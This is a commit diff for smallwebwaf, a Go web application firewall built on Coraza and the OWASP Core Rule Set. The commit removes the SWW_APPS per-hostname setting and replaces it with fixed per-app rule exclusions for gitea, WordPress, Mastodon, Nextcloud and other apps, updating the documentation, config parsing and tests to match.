Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c0071a7e8c |
No files matched your search
@@ -221,7 +221,7 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
Every setting the code reads, with its default:
|
Every setting the code reads, with its default:
|
||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
||||||
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
||||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
@@ -280,7 +280,6 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
|
|
||||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
@@ -582,31 +581,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary
|
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
|
||||||
requests to a code forge through, such as git over HTTP and sign-in through
|
requests get through to the apps listed below. No setting undoes the changes;
|
||||||
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||||
[`SPEC.md`](SPEC.md) lists them.
|
- These apps work out of the box at the default settings, and their recorded
|
||||||
- Each supported app also has its own fixes, which let its ordinary requests
|
ordinary requests pass the Core Rule Set:
|
||||||
through. Its recorded ordinary requests pass the Core Rule Set at the default
|
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
||||||
settings. The supported apps, by their names in `SWW_APPS`, are:
|
through. On gitea's own paths, its searches, file names and branch names
|
||||||
- `gitea`, whose fixes let its searches, file names and branch names
|
do too.
|
||||||
through;
|
- WordPress: saving a post from the block editor gets through. On
|
||||||
- `wordpress`, whose fixes let through its searches, its names, its file
|
WordPress's own paths, its searches, names and file names do too.
|
||||||
names and a post saved from the block editor;
|
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
||||||
- `drupal`, whose fixes let through the page to return to, its searches and
|
names get through.
|
||||||
its names;
|
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
|
||||||
- `mediawiki`, whose fixes let through its searches, its page titles, its
|
wikitext get through.
|
||||||
names and its wikitext;
|
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
|
||||||
- `mastodon`, whose fixes let through its searches, its names, its email
|
posts and deliveries from other servers get through.
|
||||||
addresses, its posts and deliveries from other servers;
|
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
|
||||||
- `vaultwarden`, whose fixes let through its names, its password hints, its
|
addresses and encrypted file names get through.
|
||||||
email addresses and its encrypted file names;
|
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
||||||
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
WebDAV methods, searches, file names, account names, comments and
|
||||||
its searches, its file names, its account names, its comments and its
|
documents do too.
|
||||||
documents.
|
- A random password, as a password manager makes one, gets through these forms:
|
||||||
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
|
- signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
|
||||||
apps' fixes, and a hostname it does not list gets none. Unset, every app's
|
- signing in, signing up, changing the password, and moving or deleting the
|
||||||
fixes apply to every hostname.
|
account, on Mastodon.
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
|
|||||||
@@ -255,31 +255,6 @@ the request first.
|
|||||||
a range. So does a directive that removes or changes rules as the file loads,
|
a range. So does a directive that removes or changes rules as the file loads,
|
||||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||||
yet. It has no `_FILE` form.
|
yet. It has no `_FILE` form.
|
||||||
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
|
|
||||||
fixes of its hostname's apps only (see "Attack detection" in
|
|
||||||
[`SPEC.md`](../SPEC.md)).
|
|
||||||
- Entries are separated by semicolons. Each is a hostname, a colon, then one
|
|
||||||
or more apps separated by commas, for example
|
|
||||||
`git.example.com:gitea;blog.example.com:wordpress`.
|
|
||||||
- The supported apps are:
|
|
||||||
- `drupal`;
|
|
||||||
- `gitea`;
|
|
||||||
- `mastodon`;
|
|
||||||
- `mediawiki`;
|
|
||||||
- `nextcloud`;
|
|
||||||
- `vaultwarden`;
|
|
||||||
- `wordpress`.
|
|
||||||
- The request's `Host` is matched by exact name, without its port and
|
|
||||||
without regard to case. There are no wildcards.
|
|
||||||
- A hostname not listed gets no app's fixes, so every rule checks it in
|
|
||||||
full. Set empty, `SWW_APPS` lists no hostname.
|
|
||||||
- Unset, every app's fixes apply to every hostname.
|
|
||||||
- Any of these mistakes stops the start:
|
|
||||||
- an unknown app;
|
|
||||||
- a hostname that is not a DNS name, such as `*.example.com`;
|
|
||||||
- a hostname listed twice;
|
|
||||||
- an app listed twice for one hostname;
|
|
||||||
- an entry without a colon.
|
|
||||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
|
|||||||
@@ -29,7 +29,6 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -236,11 +235,6 @@ type Config struct {
|
|||||||
WAFExemptPaths []string
|
WAFExemptPaths []string
|
||||||
WAFBodyLimit int64
|
WAFBodyLimit int64
|
||||||
CoreRuleSetExclusionsFile string
|
CoreRuleSetExclusionsFile string
|
||||||
// Apps are the names of the apps each hostname serves, by hostname in
|
|
||||||
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
|
|
||||||
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
|
|
||||||
// request gets every app's fixes.
|
|
||||||
Apps map[string][]string
|
|
||||||
// TrapPaths are the paths a request for which is a clear sign of
|
// TrapPaths are the paths a request for which is a clear sign of
|
||||||
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
||||||
TrapPaths []string
|
TrapPaths []string
|
||||||
@@ -410,11 +404,6 @@ var (
|
|||||||
errNotTrapPath = errors.New(
|
errNotTrapPath = errors.New(
|
||||||
"is not a path starting with / and without a ?, such as /wp-login.php",
|
"is not a path starting with / and without a ?, such as /wp-login.php",
|
||||||
)
|
)
|
||||||
errNotAppsEntry = errors.New(
|
|
||||||
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
|
|
||||||
)
|
|
||||||
errNotHostname = errors.New("is not a DNS name such as git.example.com")
|
|
||||||
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
|
|
||||||
errNotWAFMode = errors.New("is not off, detect or block")
|
errNotWAFMode = errors.New("is not off, detect or block")
|
||||||
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
||||||
errNotRuleID = errors.New(
|
errNotRuleID = errors.New(
|
||||||
@@ -588,7 +577,6 @@ func FromEnvironment(
|
|||||||
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
||||||
CoreRuleSetExclusionsFile: env.filePath(
|
CoreRuleSetExclusionsFile: env.filePath(
|
||||||
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||||
Apps: env.apps("SWW_APPS"),
|
|
||||||
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
||||||
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
||||||
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
||||||
@@ -844,25 +832,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
|
|||||||
return prefixes
|
return prefixes
|
||||||
}
|
}
|
||||||
|
|
||||||
// apps reads the setting that is the apps each hostname serves. It is nil
|
|
||||||
// while the setting is unset, and logged as null, unlike a setting set
|
|
||||||
// empty.
|
|
||||||
func (e *environment) apps(name string) map[string][]string {
|
|
||||||
value, set := e.lookup(name)
|
|
||||||
if !set {
|
|
||||||
e.settings = append(e.settings, slog.Any(name, nil))
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
e.settings = append(e.settings, slog.String(name, value))
|
|
||||||
|
|
||||||
apps, err := parseApps(value)
|
|
||||||
e.check(name, err)
|
|
||||||
|
|
||||||
return apps
|
|
||||||
}
|
|
||||||
|
|
||||||
// trapPaths reads the setting that is the list of trap paths. It is empty
|
// trapPaths reads the setting that is the list of trap paths. It is empty
|
||||||
// by default.
|
// by default.
|
||||||
func (e *environment) trapPaths(name string) []string {
|
func (e *environment) trapPaths(name string) []string {
|
||||||
@@ -1880,65 +1849,6 @@ func parseTrapPaths(value string) ([]string, error) {
|
|||||||
return paths, nil
|
return paths, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseApps reads the apps each hostname serves: entries separated by
|
|
||||||
// semicolons, each a hostname, a colon, and a comma-separated list of the
|
|
||||||
// names coreruleset.AppNames returns, such as
|
|
||||||
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
|
|
||||||
// hostname is a DNS name, without a wildcard. It returns them by hostname
|
|
||||||
// in lowercase, since a hostname is matched without regard to case. An
|
|
||||||
// empty value lists no hostname.
|
|
||||||
func parseApps(value string) (map[string][]string, error) {
|
|
||||||
apps := map[string][]string{}
|
|
||||||
|
|
||||||
if strings.TrimSpace(value) == "" {
|
|
||||||
return apps, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
for entry := range strings.SplitSeq(value, ";") {
|
|
||||||
hostname, list, found := strings.Cut(entry, ":")
|
|
||||||
if !found {
|
|
||||||
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
|
||||||
}
|
|
||||||
|
|
||||||
hostname = strings.ToLower(strings.TrimSpace(hostname))
|
|
||||||
if hostname == "" {
|
|
||||||
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !isZone(hostname) {
|
|
||||||
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, listed := apps[hostname]; listed {
|
|
||||||
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
|
|
||||||
}
|
|
||||||
|
|
||||||
names, err := parseList(list)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(names) == 0 {
|
|
||||||
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
|
||||||
}
|
|
||||||
|
|
||||||
for i, name := range names {
|
|
||||||
if !slices.Contains(coreruleset.AppNames(), name) {
|
|
||||||
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
|
|
||||||
strings.Join(coreruleset.AppNames(), ", "))
|
|
||||||
}
|
|
||||||
|
|
||||||
if slices.Contains(names[:i], name) {
|
|
||||||
return nil, fmt.Errorf("%q %w", name, errListedTwice)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
apps[hostname] = names
|
|
||||||
}
|
|
||||||
|
|
||||||
return apps, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
||||||
// rules, each a whole number above zero and outside firstSetupRuleID to
|
// rules, each a whole number above zero and outside firstSetupRuleID to
|
||||||
// lastSetupRuleID.
|
// lastSetupRuleID.
|
||||||
@@ -2545,8 +2455,7 @@ func MaskZoneKey(zone string) string {
|
|||||||
return masked + "." + rest
|
return masked + "." + rest
|
||||||
}
|
}
|
||||||
|
|
||||||
// isZone reports whether each label of zone is as parseZones takes it. It
|
// isZone reports whether each label of zone is as parseZones takes it.
|
||||||
// also checks the hostnames of SWW_APPS, which are DNS names too.
|
|
||||||
func isZone(zone string) bool {
|
func isZone(zone string) bool {
|
||||||
for label := range strings.SplitSeq(zone, ".") {
|
for label := range strings.SplitSeq(zone, ".") {
|
||||||
badChar := strings.ContainsFunc(label, func(char rune) bool {
|
badChar := strings.ContainsFunc(label, func(char rune) bool {
|
||||||
|
|||||||
@@ -89,7 +89,6 @@ const (
|
|||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||||
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||||
apps = "SWW_APPS"
|
|
||||||
trapPaths = "SWW_TRAP_PATHS"
|
trapPaths = "SWW_TRAP_PATHS"
|
||||||
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||||
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
||||||
@@ -583,101 +582,6 @@ func TestCoreRuleSetSettings(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// gitea is gitea's name in SWW_APPS.
|
|
||||||
const gitea = "gitea"
|
|
||||||
|
|
||||||
func TestApps(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
env environment
|
|
||||||
want map[string][]string
|
|
||||||
}{
|
|
||||||
{environment{}, nil},
|
|
||||||
{environment{apps: ""}, map[string][]string{}},
|
|
||||||
{
|
|
||||||
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
|
|
||||||
map[string][]string{
|
|
||||||
"git.example.com": {gitea}, "cloud.example.com": {gitea},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
environment{apps: "cloud.example.com:gitea,wordpress"},
|
|
||||||
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
cfg := fromEnvironment(t, tc.env)
|
|
||||||
if !reflect.DeepEqual(cfg.Apps, tc.want) {
|
|
||||||
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
|
|
||||||
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
env environment
|
|
||||||
want string
|
|
||||||
}{
|
|
||||||
{environment{}, `"` + apps + `":null`},
|
|
||||||
{environment{apps: ""}, `"` + apps + `":""`},
|
|
||||||
} {
|
|
||||||
var out bytes.Buffer
|
|
||||||
|
|
||||||
slog.New(slog.NewJSONHandler(&out, nil)).
|
|
||||||
Info("starting", "settings", fromEnvironment(t, tc.env))
|
|
||||||
|
|
||||||
if !strings.Contains(out.String(), tc.want) {
|
|
||||||
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestInvalidAppsStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
notEntry = " is not a hostname, : and a list of apps, " +
|
|
||||||
"such as git.example.com:gitea"
|
|
||||||
notHostname = " is not a DNS name such as git.example.com"
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ value, want string }{
|
|
||||||
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
|
|
||||||
{"git.example.com:gitea;", `""` + notEntry},
|
|
||||||
{":gitea", `":gitea"` + notEntry},
|
|
||||||
{"git.example.com:", `"git.example.com:"` + notEntry},
|
|
||||||
{"*.example.com:gitea", `"*.example.com"` + notHostname},
|
|
||||||
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
|
|
||||||
{"git example.com:gitea", `"git example.com"` + notHostname},
|
|
||||||
{
|
|
||||||
"git.example.com:gitea,jellyfin",
|
|
||||||
`"jellyfin" is not an app sww has fixes for; ` +
|
|
||||||
`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
|
|
||||||
`vaultwarden, wordpress`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"git.example.com:gitea;GIT.example.com:gitea",
|
|
||||||
`"git.example.com" is listed twice`,
|
|
||||||
},
|
|
||||||
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
|
|
||||||
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
|
|
||||||
} {
|
|
||||||
t.Run(tc.value, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
|
|
||||||
|
|
||||||
want := apps + ": " + tc.want
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Errorf("error %v, want %s", err, want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWAFBodyLimitOf64K(t *testing.T) {
|
func TestWAFBodyLimitOf64K(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -2685,7 +2589,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
|||||||
wafExemptPaths: "",
|
wafExemptPaths: "",
|
||||||
wafBodyLimit: off,
|
wafBodyLimit: off,
|
||||||
exclusionsFile: "",
|
exclusionsFile: "",
|
||||||
apps: "", // logged as null, which decodes as ""
|
|
||||||
trapPaths: "",
|
trapPaths: "",
|
||||||
errorBurstThreshold: "30",
|
errorBurstThreshold: "30",
|
||||||
logRemoteURL: "",
|
logRemoteURL: "",
|
||||||
|
|||||||
+123
-128
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
|
||||||
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
|
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// in SPEC.md describes them. It reads no response.
|
// response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -16,8 +16,6 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"maps"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"os"
|
"os"
|
||||||
@@ -34,8 +32,11 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||||
// directives of every app in apps for the third.
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
|
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||||
|
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
||||||
|
// and nextcloudExclusions for the ninth.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -83,28 +84,62 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# before the rules of phase 1 too.
|
# before the rules of phase 1 too.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The apps' fixes come before the rules for the same reason.
|
# The eighth change comes before the rules for the same reason.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The fifth: only the rules for requests are loaded, and no response is
|
# The ninth change comes before the rules for the same reason.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the tenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the eleventh.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the twelfth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# So does the thirteenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# And the fourteenth.
|
||||||
|
%s
|
||||||
|
|
||||||
|
# The sixth: only the rules for requests are loaded, and no response is
|
||||||
# inspected.
|
# inspected.
|
||||||
Include @owasp_crs/REQUEST-*.conf
|
Include @owasp_crs/REQUEST-*.conf
|
||||||
|
|
||||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||||
# localhost. Coraza matches a parameter name here without regard to case.
|
# localhost. Coraza matches a parameter name here, and in the fourth,
|
||||||
# ARGS holds the fields of a form data or multipart body Coraza reads as
|
# without regard to case. ARGS holds the fields of a form data or multipart
|
||||||
# well as the query parameters, so a field of this name is left out too.
|
# body Coraza reads as well as the query parameters, so a field of one of
|
||||||
|
# these names is left out too.
|
||||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||||
|
|
||||||
# The fourth: Referer is not checked for a Unix command without arguments,
|
# The fourth: the query parameters in which gitea sends names within a
|
||||||
# for Java starting a process, or for a Java class name. 944130 refused
|
# repository or its own records, or a page of its own site, are not
|
||||||
# every page opened from the page of java.lang.String.md.
|
# checked against the lists of system files, shell paths and command
|
||||||
|
# names. Coraza takes one rule id per directive.
|
||||||
|
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||||
|
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||||
|
!ARGS:artifactName|!ARGS:redirect_to"
|
||||||
|
|
||||||
|
# The fifth, for Referer: it is not checked for a Unix command without
|
||||||
|
# arguments, for Java starting a process, or for a Java class name. 944130
|
||||||
|
# refused every page opened from the page of java.lang.String.md. The
|
||||||
|
# cookies are left out in Inspect.
|
||||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
# The sixth: a container image push that reuses a layer names the image
|
# The seventh: a container image push that reuses a layer names the image
|
||||||
# it takes the layer from in the query parameter from, which is not
|
# it takes the layer from in the query parameter from, which is not
|
||||||
# checked for command names. 932260 refused the push of a layer from
|
# checked for command names. 932260 refused the push of a layer from
|
||||||
# owner/python3-app.
|
# owner/python3-app.
|
||||||
@@ -154,61 +189,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
|||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||||
`
|
`
|
||||||
|
|
||||||
// app is an app whose ordinary requests the Core Rule Set would refuse,
|
// giteaExclusions are the eighth change: the fields of gitea's own
|
||||||
// with the fixes that let them pass.
|
// requests that skip the rules that refused them there, as Coraza
|
||||||
type app struct {
|
// directives.
|
||||||
// directives are Coraza exclusions, loaded before the Core Rule Set's
|
|
||||||
// rules. Their first rule skips to the marker they end with, unless
|
|
||||||
// Inspect sets the transaction variable named for the app, such as
|
